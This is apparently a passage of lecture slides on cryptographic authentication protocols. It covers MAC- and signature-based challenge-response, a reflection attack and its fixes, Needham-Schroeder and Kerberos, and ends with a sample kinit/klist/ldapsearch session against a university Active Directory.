Once \( B \) has seen \( \text{Mac}_{K_{AB}}(T_A) \) it should not accept any \( \text{Mac}_{K_{AB}}(T'_A) \) with \( T'_A \leq T_A \).

Search and clock-offset/frequency tracking needed if clocks are not synchronized.

May include optional message \( M \).

Example: RSA SecurID, TOTP (RFC 6238)

**MAC of implicit counter:**

\[ A \xrightarrow[]{M, \text{Mac}_{K_{AB}}(N_A, M)} B \]

Token can be short (for manual entry), but \( B \) must remember (or search for) \( N_A \).

Once \( B \) has seen \( \text{Mac}_{K_{AB}}(N_A) \) it should not accept any \( \text{Mac}_{K_{AB}}(N'_A) \) with \( N'_A \leq N_A \).

**MAC of explicit counter:**

\[ A \xrightarrow[]{[N_A, M]_{K_{AB}}} B \]

As above, but no search needed if some \( N_A \) were lost.

Examples: Chip Authentication Program (e.g., Barclays PINsentry) “Identify” function, some car key remote fobs \((M \in \{\text{lock, unlock}\})\)
Two-pass authentication (unilateral)

One-pass protocols have several problems, such as

- the verifier $B$ has to keep state (last seen counter/timestamp from $A$) to detect replay attacks. If there are multiple instances of verifier $B$, this state has to be synchronized among them (e.g., web content distribution network, door access-control smartcard readers);
- messages may have been sent long before the verifier sees them.

These problems can be avoided using challenge–response protocols:

**MAC of random challenge**

$$1: R_B$$

$$2: [R_B, M]_{K_{AB}}$$

**Signature of random challenge**

$$1: R_B$$

$$2: M, \text{Sign}_{S_K_{A}}[R_B, M]$$

Mutual authentication

In the protocols seen so far, $A$ gains no assurance about the identity of $B$.

**Two-pass mutual authentication with MAC of time or counter:**

$$1: \left[ T_{N_B}, M_1 \right]_{K_{AB}}$$

$$2: \left[ T_{N_A}, M_2 \right]_{K_{AB}}$$

**Three-pass mutual challenge–response with MAC:**

$$1: R_B$$

$$2: R_A, M_1, \text{Mac}_{K_{AB}}(R_A, R_B, M_1)$$

$$3: M_2, \text{Mac}_{K_{AB}}(R_B, R_A, M_2)$$
Reflection attack

Remember three-pass mutual challenge–response with MAC:

1: \( R_B \)

2: \( R_A, \text{Mac}_{K_{AB}}(R_A, R_B) \)

3: \( \text{Mac}_{K_{AB}}(R_B, R_A) \)

In some applications, principals can act as both claimants and verifiers, and may support concurrent protocol sessions. Attacker \( A' \) could masquerade as \( A \) by returning the challenge to \( B \) in second session:

1: \( R_B \)

1’: \( R_B' \)

2’: \( R_B', \text{Mac}_{K_{AB}}(R_B', R_B) \)

2: \( R_B', \text{Mac}_{K_{AB}}(R_B', R_B) \)

3: \( \text{Mac}_{K_{AB}}(R_B, R_B') \)

Solutions: Unidirectional keys \( K_{AB} \neq K_{BA} \) or include id of originator in MAC.

Avoid using the same key for multiple purposes!

Use explicit information in protocol packets where possible!

Needham–Schroeder protocol / Kerberos

Trusted third party based authentication with symmetric cryptography:

\[
A \rightarrow S : \quad A, B \\
S \rightarrow A : \quad \{T_S, L, K_{AB}, B, \{T_S, L, K_{AB}, A\}_{K_{BS}}\}_{K_{AS}} \\
A \rightarrow B : \quad \{T_S, L, K_{AB}, A\}_{K_{BS}}, \{A, T_A\}_{K_{AB}} \\
B \rightarrow A : \quad \{T_A + 1\}_{K_{AB}}
\]

User \( A \) and server \( B \) do not share a secret key initially, but authentication server \( S \) shares secret keys with everyone. \( A \) requests a session with \( B \) from \( S \). \( S \) generates session key \( K_{AB} \) and encrypts it separately for both \( A \) and \( B \). These “tickets” contain a timestamp \( T_S \) and lifetime \( L \) to limit their usage time.


An extension of the Needham–Schroeder protocol is now widely used in corporate computer networks between desktop computers and servers, in the form of MIT’s Kerberos protocol, which is also implemented in Microsoft’s Active Directory service.
Kerberos

Kerberos identifies users, computers and services on computers via a principal name of the form user@REALM or service/computer@REALM.

A Kerberos “realm” identifies (a set of) Key Distribution Centers (KDCs) that can authenticate that principal. (Microsoft documentation uses the term “domain” instead.)

The initial $K_{AS}$ is generated from user $A$’s password (password-based key derivation function, e.g. a hash function).

For security reasons, Kerberos does not cache the (hash of) the user’s password in memory (where malicious processes might steal it). Instead:

- The kinit command initially requests a “ticket granting ticket” (TGT), which it decrypts using the password hash. It then discards the password and the (long-term) TGT decryption key derived from it and stores the short-term session key found in the TGT for future communication with the TGT service krbtgt/REALM0@REALM.

- The Kerberos library then uses that cached krbtgt/REALM session key each time it needs to request a session ticket for another server in REALM. When the krbtgt/REALM TGT key has expired (typical default lifetime: 10 hours), the user has to reenter their password to obtain a new TGT.

Kerberos II

Other Kerberos extensions of the Needham–Schroeder protocol:

- A pre-authentication step ensures that KDC $S$ does not reply with any TGT encrypted under $K_{AS}$ unless the sender has demonstrated knowledge of $K_{AS}$, to hinder offline password guessing.

  Problem: initial ticket message still enables eavesdropper off-line dictionary attack against user password.

- TGTs can be made renewable for a longer time, and can be renewed automatically while they have not yet expired.

  GUI tools such as Ubuntu’s krb5-auth-dialog renew TGTs automatically.

- A mechanism for forwarding (delegating) tickets allows a server to impersonate a remote user (access other services on their behalf)

  Example: “ssh -K host1” forwards/delegates the user’s Kerberos TGT to host1, such that host1 can use it to get a session ticket for nfs/host2@REALM to mount the user’s home directory from NFS file server host2.

- Support for a federation of realms: if REALM1 and REALM2 have a trust relationship, and user@REALM1 wants to access service@REALM2, then user first gets krbtgt/REALM1@REALM1, then krbtgt/REALM2@REALM1, and then from that a ticket for service@REALM2.
Authenticating from Ubuntu Linux to the UIS “Blue” AD DS:

$ sudo apt-get install krb5-user ldap-utils libsasl2-modules-gssapi-mit

$ kinit mgk25@BLUE.CAM.AC.UK
Password for mgk25@BLUE.CAM.AC.UK: [UIS password]

$ klist -ef
Ticket cache: FILE:/tmp/krb5cc_1597_0dRYtt
Default principal: mgk25@BLUE.CAM.AC.UK

Valid starting Expires Service principal
22/04/19 19:59:46 23/04/19 05:59:46 krbtgt/BLUE.CAM.AC.UK@BLUE.CAM.AC.UK
renew until 23/04/19 19:59:37, Flags: FRIA
$ ldapsearch -Y GSSAPI -H ldap://dc1.blue.cam.ac.uk -b DC=blue,DC=cam,DC=ac,DC=uk cn=mgk25
# mgk25, People, blue.cam.ac.uk
[...] $ klist
Ticket cache: FILE:/tmp/krb5cc_1597_0dRYtt
Default principal: mgk25@BLUE.CAM.AC.UK

Valid starting Expires Service principal
22/04/19 19:59:46 23/04/19 05:59:46 krbtgt/BLUE.CAM.AC.UK@BLUE.CAM.AC.UK
renew until 23/04/19 19:59:37
22/04/19 20:00:31 23/04/19 05:59:46 ldap/dc1.blue.cam.ac.uk@
renew until 23/04/19 19:59:37
22/04/19 20:00:31 23/04/19 05:59:46 ldap/dc1.blue.cam.ac.uk@BLUE.CAM.AC.UK
renew until 23/04/19 19:59:37

Hint: set environment variable KRB5_TRACE=/dev/stdout for detailed logs.